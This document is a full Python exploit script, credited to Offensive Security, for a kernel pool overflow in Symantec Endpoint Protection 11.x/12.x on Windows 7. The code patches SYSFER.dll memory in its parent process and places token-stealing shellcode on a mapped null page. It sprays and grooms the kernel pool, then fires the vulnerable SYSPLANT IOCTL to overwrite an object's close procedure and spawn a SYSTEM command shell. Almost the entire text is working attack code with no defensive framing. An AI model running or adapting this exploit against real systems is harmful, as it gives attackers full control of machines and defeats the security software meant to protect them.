Symantec Endpoint Protection 11.x / 12.x Kernel Pool Overflow

`# Symantec Endpoint Protection 11.x, 12.x - Kernel Pool Overflow  
# http://www.offensive-security.com  
# Tested on Windows 7  
# http://www.offensive-security.com/vulndev/symantec-endpoint-protection-0day/  
# Authors: Matteo 'ryujin' Memelli & Alexandru 'sickness' Uifalvi <at> offensive-security.com  
  
from ctypes import *  
from ctypes.wintypes import *  
import struct, sys, os, time  
  
ntdll = windll.ntdll  
kernel32 = windll.kernel32  
TH32CS_SNAPPROCESS = 0x02  
PROCESS_ALL_ACCESS = 0x1fffff  
FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000  
NULL = 0x0  
MEM_COMMIT = 0x00001000  
MEM_RESERVE = 0x00002000  
PAGE_EXECUTE_READWRITE = 0x00000040  
SystemExtendedHandleInformation = 64  
STATUS_INFO_LENGTH_MISMATCH = 0xC0000004  
STATUS_INVALID_HANDLE = 0xC0000008  
STATUS_SUCCESS = 0  
PVOID = c_void_p  
HANDLE = c_void_p  
  
class LSA_UNICODE_STRING(Structure):  
"""Represent the LSA_UNICODE_STRING on ntdll."""  
_fields_ = [  
("Length", USHORT),  
("MaximumLength", USHORT),  
("Buffer", LPWSTR),  
]  
  
class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):  
"""Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll."""  
_fields_ = [  
("Object", PVOID),  
("UniqueProcessId", ULONG),  
("HandleValue", ULONG),  
("GrantedAccess", ULONG),  
("CreatorBackTraceIndex", USHORT),  
("ObjectTypeIndex", USHORT),  
("HandleAttributes", ULONG),  
("Reserved", ULONG),  
]  
  
class SYSTEM_HANDLE_INFORMATION_EX(Structure):  
"""Represent the SYSTEM_HANDLE_INFORMATION on ntdll."""  
_fields_ = [  
("NumberOfHandles", ULONG),  
("Reserved", ULONG),  
("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1),  
]  
  
class PUBLIC_OBJECT_TYPE_INFORMATION(Structure):  
"""Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll."""  
_fields_ = [  
("Name", LSA_UNICODE_STRING),  
("Reserved", ULONG * 22),  
]  
  
class PROCESSENTRY32(Structure):  
_fields_ = [  
("dwSize", c_ulong),  
("cntUsage", c_ulong),  
("th32ProcessID", c_ulong),  
("th32DefaultHeapID", c_int),  
("th32ModuleID", c_ulong),  
("cntThreads", c_ulong),  
("th32ParentProcessID", c_ulong),  
("pcPriClassBase", c_long),  
("dwFlags", c_ulong),  
("szExeFile", c_wchar * MAX_PATH)  
]  
  
Process32First = kernel32.Process32FirstW  
Process32Next = kernel32.Process32NextW  
  
def header():  
"""Print exploit header"""  
print "[+] Sysplant 0x0222084 Kernel Pool Overflow"  
print "[+] Product: Symantec Endpoint Protection"  
print "[+] Authors: Matteo 'ryujin' Memelli & Alexandru 'sickness' Uifalvi <at> offensive-security.com"  
  
def getLastError():  
"""Format GetLastError"""  
buf = create_string_buffer(2048)  
if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL,  
kernel32.GetLastError(), NULL,  
buf, sizeof(buf), NULL):  
print "[-] " + buf.value  
else:  
print "[-] Unknown Error"  
  
def signed_to_unsigned(signed):  
"""Convert signed to unsigned integer"""  
unsigned, = struct.unpack ("L", struct.pack ("l", signed))  
return unsigned  
  
def get_type_info (handle):  
"""Get the handle type information."""  
public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION()  
size = DWORD(sizeof(public_object_type_information))  
while True:  
result = signed_to_unsigned(  
ntdll.NtQueryObject(  
handle, 2, byref(public_object_type_information), size, None))  
if result == STATUS_SUCCESS:  
return public_object_type_information.Name.Buffer  
elif result == STATUS_INFO_LENGTH_MISMATCH:  
size = DWORD(size.value * 4)  
resize(public_object_type_information, size.value)  
elif result == STATUS_INVALID_HANDLE:  
return None  
else:  
raise x_file_handles("NtQueryObject.2", hex (result))  
  
def get_handles():  
"""Return all the processes handles in the system atm."""  
system_handle_information = SYSTEM_HANDLE_INFORMATION_EX()  
size = DWORD (sizeof (system_handle_information))  
while True:  
result = ntdll.NtQuerySystemInformation(  
SystemExtendedHandleInformation,  
byref(system_handle_information),  
size,  
byref(size)  
)  
result = signed_to_unsigned(result)  
if result == STATUS_SUCCESS:  
break  
elif result == STATUS_INFO_LENGTH_MISMATCH:  
size = DWORD(size.value * 4)  
resize(system_handle_information, size.value)  
else:  
raise x_file_handles("NtQuerySystemInformation", hex(result))  
  
pHandles = cast(  
system_handle_information.Handles,  
POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \  
system_handle_information.NumberOfHandles)  
)  
for handle in pHandles.contents:  
yield handle.UniqueProcessId, handle.HandleValue, handle.Object  
  
def getppid(mypid=None, rec=False):  
""" Get Parent Process """  
pe = PROCESSENTRY32()  
pe.dwSize = sizeof(PROCESSENTRY32)  
if not mypid:  
mypid = kernel32.GetCurrentProcessId()  
snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)  
result = 0  
try:  
have_record = Process32First(snapshot, byref(pe))  
while have_record:  
if mypid == pe.th32ProcessID:  
if rec:  
result = getppid(pe.th32ParentProcessID, False)  
break  
else:  
result = pe.th32ParentProcessID  
break  
have_record = Process32Next(snapshot, byref(pe))  
finally:  
kernel32.CloseHandle(snapshot)  
return result  
  
def getSysFerPointer(phandle):  
""" Get child_block and child_block_size variable addresses """  
csysfer = create_string_buffer("SYSFER.dll", len("SYSFER.dll"))  
hsysfer = kernel32.LoadLibraryA(addressof(csysfer))  
if not hsysfer:  
print "[-] LoadLibrary Failed!"  
sys.exit()  
print "[+] SYSFER Base address %s" % hex(hsysfer)  
cscb = create_string_buffer("child_block", len("child_block"))  
sysfer_child_block = kernel32.GetProcAddress(hsysfer, addressof(cscb))  
if not sysfer_child_block:  
print "[-] GetProcAddress Failed!"  
sys.exit()  
print "[+] SYSFER!child_block ptr @ %s" % hex(sysfer_child_block)  
cscbs = create_string_buffer("child_block_size", len("child_block_size"))  
sysfer_child_block_s = kernel32.GetProcAddress(hsysfer, addressof(cscbs))  
if not sysfer_child_block_s:  
print "[-] GetProcAddress Failed!"  
sys.exit()   
print "[+] SYSFER!child_block_size ptr @ %s" % hex(sysfer_child_block_s)  
child_block = c_ulong(0)  
read = c_ulong(0)  
# Read child_block address  
res = kernel32.ReadProcessMemory(phandle, sysfer_child_block,   
byref(child_block), sizeof(c_ulong),   
byref(read))  
if res == 0 or res == -1:  
print "[-] ReadProcessMemory Failed!"  
getLastError()  
sys.exit()  
# Read child_block_size  
child_block_s = c_ulong(0)  
res = kernel32.ReadProcessMemory(phandle, sysfer_child_block_s,   
byref(child_block_s), sizeof(c_ulong),   
byref(read))  
if res == 0 or res == -1:  
print "[-] ReadProcessMemory Failed!"  
getLastError()  
sys.exit()  
print "[+] SYSFER Pointer retrieved successfully!"  
return child_block, child_block_s, sysfer_child_block, sysfer_child_block_s  
  
def craftSysFerData(phandle, sysfer_child_block, sysfer_child_block_s,   
evil_child_block, evil_child_block_size):  
""" Replace SysFerData to control memcpy source buffer """  
wrote = c_ulong(0)  
ecb = struct.pack("<L", evil_child_block)  
cecb = create_string_buffer(ecb, 0x4)  
print "[+] Patching %x with %x" % (sysfer_child_block, evil_child_block)  
res = kernel32.WriteProcessMemory(phandle, sysfer_child_block,   
addressof(cecb),   
0x4,   
byref(wrote))  
if res == 0 or res == -1:  
getLastError()  
sys.exit()  
ecbs = struct.pack("<L", evil_child_block_size)  
csrc = create_string_buffer(ecbs, 0x4)  
print "[+] Patching %x with %s" % (sysfer_child_block_s,   
hex(evil_child_block_size))  
res = kernel32.WriteProcessMemory(phandle, sysfer_child_block_s,   
addressof(csrc),   
0x4,   
byref(wrote))  
if res == 0 or res == -1:  
getLastError()  
sys.exit()  
print "[+] SYSFER.DLL patched successfully!"  
  
def allocShellcode():  
""" Allocate OkayToCloseProcedure ptr and shellcode """  
baseadd = c_int(0x00000004)  
null_size = c_int(0x1000)  
  
tokenstealing = (  
"\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x50\x8B\xC8\x8B\x80"  
"\xB8\x00\x00\x00\x2D\xB8\x00\x00\x00\x83\xB8\xB4\x00\x00\x00\x04"  
"\x75\xEC\x8B\x90\xF8\x00\x00\x00\x89\x91\xF8\x00\x00\x00\xC2\x10"  
"\x00"  
)  
OkayToCloseProcedure = struct.pack("<L", 0x00000078)  
sc = "\x42" * 0x70 + OkayToCloseProcedure  
# 83C6 0C ADD ESI,0C  
# C706 0A000800 MOV DWORD PTR DS:[ESI],8000A  
# 83EE 0C SUB ESI,0C  
sc += "\x83\xC6\x0C\xC7\x06\x0A\x00\x08\x00\x83\xEE\x0C" # RESTORE TypeIndex  
sc += tokenstealing  
sc += "\x90" * (0x400-len(sc))  
ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong,   
POINTER(c_int), c_int, c_int]  
dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0,   
byref(null_size),   
MEM_RESERVE|MEM_COMMIT,  
PAGE_EXECUTE_READWRITE)  
if dwStatus != STATUS_SUCCESS:  
print "[+] Error while allocating the null paged memory: %s" % dwStatus  
getLastError()  
sys.exit()  
written = c_ulong()  
alloc = kernel32.WriteProcessMemory(0xFFFFFFFF, 0x00000004, sc, 0x400,   
byref(written))  
if alloc == 0:  
print "[+] Error while writing our junk to the null paged memory: %s" %\  
alloc  
getLastError()  
sys.exit()  
  
def allocInput(phandle, evil_child_block_size):  
""" Allocate the source buffer in the parent process """  
v = kernel32.VirtualAllocEx(phandle,   
0x0,   
evil_child_block_size,   
MEM_RESERVE|MEM_COMMIT,   
PAGE_EXECUTE_READWRITE)  
  
# 8654c580 040c0090 ef436f49 00000000 0000005c  
# 8654c590 00000000 00000000 00000001 00000001  
# 8654c5a0 00000000 0008000a  
quota = "\x00\x00\x00\x00"   
header = "\x90\x00\x0c\x04\x49\x6f\x43\xef\x00\x00\x00\x00\x5c\x00\x00\x00"  
header += "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"  
header += "\x00\x00\x00\x00"  
TypeIndex = "\x00\x00\x08\x00"  
offset = "\x45" * (evil_child_block_size-len(header)-len(TypeIndex)-\  
len(quota))  
overflow = offset + quota + header + TypeIndex   
csrc = create_string_buffer(overflow, evil_child_block_size)  
wrote = c_ulong(0)  
res = kernel32.WriteProcessMemory(phandle, v,   
addressof(csrc),   
evil_child_block_size,   
byref(wrote))  
if res == 0 or res == -1:  
getLastError()  
sys.exit()  
print "[+] evil_child_block address: %s" % hex(v)  
return v  
  
def triggerIOCTL():  
""" Trigger the vulnerable IOCTL code """  
GENERIC_READ = 0x80000000  
GENERIC_WRITE = 0x40000000  
OPEN_EXISTING = 0x3  
DEVICE_NAME = u"\\\\.\\SYSPLANT"  
dwReturn = c_ulong()  
driver_handle = kernel32.CreateFileW(DEVICE_NAME,  
GENERIC_READ | GENERIC_WRITE,  
0, None, OPEN_EXISTING, 0, None)  
if not driver_handle or driver_handle == -1:  
getLastError()  
sys.exit()  
  
ioctl = 0x00222084  
evil_input = "\x41" * 4 + struct.pack("<L", ioctl) + "D" * 56  
evil_size = len(evil_input)  
print "[+] IOCTL: %s" % hex(ioctl)  
print "[+] Buf size: %d" % evil_size  
einput = create_string_buffer(evil_input, evil_size)  
eoutput = create_string_buffer("\x00"*1024, 1024)  
dev_ioctl = kernel32.DeviceIoControl(driver_handle , ioctl,  
addressof(einput) , evil_size,  
addressof(eoutput), 1024,  
byref(dwReturn) , None)  
  
def spray():  
"""Spray the Kernel Pool with IoCompletionReserve Objects. Each object  
is 0x60 bytes in length and is allocated from the Nonpaged kernel pool"""  
global handles, done  
handles = {}  
IO_COMPLETION_OBJECT = 1  
for i in range(0, 50000):  
hHandle = HANDLE(0)  
ntdll.NtAllocateReserveObject(byref(hHandle), 0x0, IO_COMPLETION_OBJECT)  
#print "[+] New Object created successfully, handle value: ", hHandle  
handles[hHandle.value]=hHandle  
print "[+] Spray done!"  
  
def findMemoryWindows():  
""" Find all possible windows of 0x480 bytes with a further adjacent  
IoCompletionReserve object that we can overwrite.  
Finally trigger 0x00222084 to allocate the IOCTL input buffer in one  
of the windows. The IOCTL input buffer has been changed to avoid the  
overflow at this time, so that we can study the allocations without  
BSODing the box"""  
global handles, done  
mypid = os.getpid()  
khandlesd = {}  
khandlesl = []  
# Leak Kernel Handles  
for pid, handle, obj in get_handles():  
#print handle, obj  
if pid==mypid and get_type_info(handle)=="IoCompletionReserve":  
khandlesd[obj] = handle  
khandlesl.append(obj)  
# Find holes and make our allocation  
holes = []  
for obj in khandlesl:  
# obj address is the handle address, but we want to allocation  
# address, so we just remove the size of the object header from it.  
# IoCompletionReserve Chunk Header 0x30  
alloc = obj-0x30  
# Get allocations at beginning of the page  
if (alloc&0xfffff000) == alloc:  
# find holes  
# If we get a KeyError allocations are not adjecient  
try:  
holes.append( (  
khandlesd[obj+0x580],khandlesd[obj+0x520],  
khandlesd[obj+0x4c0],khandlesd[obj+0x460],  
khandlesd[obj+0x400],khandlesd[obj+0x3a0],  
khandlesd[obj+0x340],khandlesd[obj+0x2e0],  
khandlesd[obj+0x280],khandlesd[obj+0x220],  
khandlesd[obj+0x1c0],khandlesd[obj+0x160],  
khandlesd[obj+0x100]) )  
print "[+] Hole Window found @ %s" % hex(alloc)  
except KeyError:  
pass  
  
# Create Memory Windows of 0x480 bytes (0x60*12) ...  
print "[*] Your IOCTL Allocation will be @ 0x*****100"  
print "[*] The Overflown Allocation will be @ 0x*****580"  
for hole in holes:  
kernel32.CloseHandle(handles[ hole[1] ])  
kernel32.CloseHandle(handles[ hole[2] ])  
kernel32.CloseHandle(handles[ hole[3] ])  
kernel32.CloseHandle(handles[ hole[4] ])  
kernel32.CloseHandle(handles[ hole[5] ])  
kernel32.CloseHandle(handles[ hole[6] ])  
kernel32.CloseHandle(handles[ hole[7] ])  
kernel32.CloseHandle(handles[ hole[8] ])  
kernel32.CloseHandle(handles[ hole[9] ])  
kernel32.CloseHandle(handles[ hole[10] ])  
kernel32.CloseHandle(handles[ hole[11] ])  
kernel32.CloseHandle(handles[ hole[12] ])  
  
# Make our Alloc of 0x480 bytes...  
triggerIOCTL()  
# trigger code execution  
for hole in holes:  
kernel32.CloseHandle(handles[ hole[0] ])  
# Spawn a system shell  
os.system("cmd.exe /T:C0 /K cd C:\\Windows\\system32\\")  
done = False  
  
  
if __name__ == '__main__':  
global handles, done  
exploit = False  
done = True  
header()  
try:  
if sys.argv[1].lower() == 'exploit':  
exploit = True  
except IndexError:  
pass  
if not exploit:  
print "[+] Patching Input buffer from SYSFER Memory"  
phandle = c_ulong()  
# Use the following with Pyinstaller (2 parent processes)  
# parentpid = getppid(None, True)  
# Use the following from python script (parent is cmd.exe)  
# 1)  
parentpid = getppid(None, False)  
print "[+] Parent PID: %d" % parentpid  
# 2)  
phandle = kernel32.OpenProcess(PROCESS_ALL_ACCESS,   
0x0, parentpid)  
print "[+] Parent Handle: %d" % phandle  
# 3)  
child_block,child_block_s,sysfer_child_block,sysfer_child_block_s =\  
getSysFerPointer(phandle)  
evil_child_block_size = 0x44c # pool overflow and TypeIndex overwrite  
# 4)  
evil_child_block = allocInput(phandle, evil_child_block_size)  
# 5)  
craftSysFerData(phandle, sysfer_child_block, sysfer_child_block_s,   
evil_child_block, evil_child_block_size)  
kernel32.CloseHandle(phandle)  
print "[+] NOW RUN %s exploit" % sys.argv[0]  
sys.exit()  
# 6) Alloc shellcode  
allocShellcode()  
  
# 7) Spray  
#spray()  
dwThreadId1 = c_ulong(0)  
THREADFUNC = CFUNCTYPE(None)  
spray_thread = THREADFUNC(spray)  
hThread1 = HANDLE(0)  
hThread1 = windll.kernel32.CreateThread(0,0,spray_thread,0,0,byref(dwThreadId1))  
print "[+] Spray Thread Created TID: %d" % hThread1  
curpr = windll.kernel32.GetThreadPriority(hThread1)   
print "[+] Current priority: %d" % curpr  
print "[+] Setting high priority...."  
windll.kernel32.SetThreadPriority(hThread1, 2)  
curpr = windll.kernel32.GetThreadPriority(hThread1)   
time.sleep(3)  
  
# 8) Create holes to fit our allocation and trigger the IOCTL  
#findMemoryWindows()  
dwThreadId2 = c_ulong(0)  
findMemoryWindows_thread = THREADFUNC(findMemoryWindows)  
hThread2 = HANDLE(0)  
hThread2 = windll.kernel32.CreateThread(0,0,findMemoryWindows_thread,0,0,byref(dwThreadId2))  
print "[+] findMemoryWindows Thread Created TID: %d" % hThread2  
curpr = windll.kernel32.GetThreadPriority(hThread2)   
print "[+] Current priority: %d" % curpr  
print "[+] Setting high priority...."  
windll.kernel32.SetThreadPriority(hThread2, 2)  
curpr = windll.kernel32.GetThreadPriority(hThread2)   
while done:  
time.sleep(1)  
  
`